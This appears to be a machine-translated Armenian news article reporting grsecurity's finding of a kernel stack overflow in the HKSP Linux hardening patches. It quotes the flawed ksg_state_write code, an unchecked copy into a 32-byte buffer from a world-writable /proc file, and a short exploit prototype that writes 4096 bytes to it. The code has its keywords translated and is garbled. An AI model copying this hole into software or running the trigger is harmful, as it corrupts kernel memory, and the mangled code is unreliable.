Անվտանգության խնդիրներ Linux-ի միջուկը պաշտպանելու համար Huawei-ի աշխատակցի կողմից առաջարկված կարկատներում

Grsecurity նախագծի մշակողները նկարեց ուշադրություն դարձնել չնչին շահագործվող խոցելիության առկայությանը patch-ի հավաքածուում HKSP (Huawei Kernel Self Protection), մի քանի օր առաջ առաջարկված Linux միջուկի անվտանգությունը բարելավելու համար: Իրավիճակը հիշեցնում է պատյան Samsung-ով, որի ընթացքում համակարգի անվտանգությունը բարելավելու փորձը հանգեցրեց նոր խոցելիության ի հայտ գալուն և հեշտացրեց սարքերի փոխզիջումը:

HKSP պատչերը հրապարակվել են Huawei-ի աշխատակցի կողմից, GitHub պրոֆիլում ներառել են Huawei-ի հիշատակումը և նախագծի անվանման մեջ օգտագործել Huawei բառը (HKSP - Huawei Kernel Self Protection): Միևնույն ժամանակ Huawei-ի ներկայացուցիչները հերքել են HKSP նախագծի կապը ընկերության հետ և հայտարարել, որ կոդը մշակվել է աշխատակցի անձնական նախաձեռնությամբ, Huawei-ի պաշտոնական նախագիծ չէ և չի օգտագործվում ընկերության արտադրանքներում։ Վրա GitHub էջ HKSP հետադարձ ուժով բացահայտումից հետո խոցելիությունները նույնպես ավելացվել է նշեմ, որ նախագիծը մշակվում է իմ ազատ ժամանակ՝ հետազոտական ​​նպատակներով:

HKSP-ն ներառում է փոփոխություններ, ինչպիսիք են cred-ի կառուցվածքում օֆսեթների պատահականացում, պաշտպանություն օգտագործողի նույնացուցիչի անվան տարածքի վրա հարձակումներից (pid namespace), գործընթացի կույտի բաժանումը mmap-ի տարածքից, կրկնակի զանգերի հայտնաբերում kfree ֆունկցիային, արգելափակում է արտահոսքը կեղծիքի միջոցով: -FS /proc (/proc/ {modules, keys, key-users}, /proc/sys/kernel/* և /proc/sys/vm/mmap_min_addr, /proc/kallsyms), բարելավված օգտվողի տարածքի հասցեների պատահականացում, լրացուցիչ Ptrace պաշտպանություն, ուժեղացված smap և smep պաշտպանություն, չմշակված վարդակների միջոցով տվյալների ուղարկումն արգելելու հնարավորություն, UDP վարդակներում սխալ հասցեների արգելափակում և ընթացիկ գործընթացների ամբողջականությունը ստուգելու հնարավորություն: Այն ներառում է նաև Ksguard միջուկի մոդուլը, որն ուղղված է տիպիկ rootkits-ների ներդրման փորձերի հայտնաբերմանը:

Պատչի կանչեց Գրեգ Քրոահ-Հարթմանը, ով պատասխանատու է Linux միջուկի կայուն ճյուղի պահպանման համար, հետաքրքրված էր և խնդրեց հեղինակին բաժանել միաձույլ կարկատանը մասերի, որպեսզի պարզեցնի վերանայումը և առաջխաղացումը դեպի հիմնական միջուկ: Kees Cook, ղեկավար նախագիծ մասին առաջխաղացում ակտիվ պաշտպանության տեխնոլոգիա Linux միջուկում, նույնպես դրականորեն արձագանքեց պատչերին և, ի թիվս խնդիրների, ուշադրություն հրավիրեց x86 ճարտարապետության հետ կապվածության և բազմաթիվ ռեժիմների ծանուցման բնույթի վրա, որոնք միայն գրանցում են խնդրի մասին տեղեկատվությունը, բայց չեն փորձում արգելափակել այն:

Grsecurity-ի մշակողների կողմից կարկատակի ուսումնասիրությունը բացահայտեց կոդի բազմաթիվ սխալներ և թույլ կողմեր, ինչպես նաև ցույց տվեց սպառնալիքի մոդելի բացակայությունը, որը թույլ կտա նրանց համարժեք գնահատել նախագծի հնարավորությունները: Հստակ ցույց տալու համար, որ կոդը գրվել է առանց ապահով ծրագրավորման մեթոդների օգտագործման, տրված է կարգավորիչի չնչին խոցելիության օրինակ:
ֆայլ /proc/ksguard/state, որը ստեղծվել է 0777 իրավունքով, ինչը ենթադրում է, որ բոլորն ունեն գրելու հնարավորություն: ksg_state_write ֆունկցիան, որն օգտագործվում է /proc/ksguard/state-ում գրված հրամանները վերլուծելու համար, ստեղծում է tmp[32] բուֆեր, որի վրա տվյալները գրվում են փոխանցված օպերանդի չափի հիման վրա՝ առանց թիրախային բուֆերի չափը հաշվի առնելու և առանց ստուգելով պարամետրը լարային չափով: Նրանք. Միջուկի կույտի մի մասը վերագրանցելու համար հարձակվողը պարզապես պետք է գրի հատուկ ձևաչափված տող /proc/ksguard/state-ում:

static ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t len, loff_t *օֆսեթ)
{
u64 արժեքը;
char tmp[32];
չափ_տ n = 0;

եթե (copy_from_user (tmp, buf, len))
վերադարձ -1;

արժեքը = simple_strtoul (tmp, '\0', 10);
...

Exploit նախատիպը.

char buf[4096] = {};
int fd = բաց («/proc/ksguard/state», O_WRONLY);
եթե (fd >= 0) {
գրել (fd, buf, sizeof(buf));
փակել (fd);
}

Source: opennet.ru

Добавить комментарий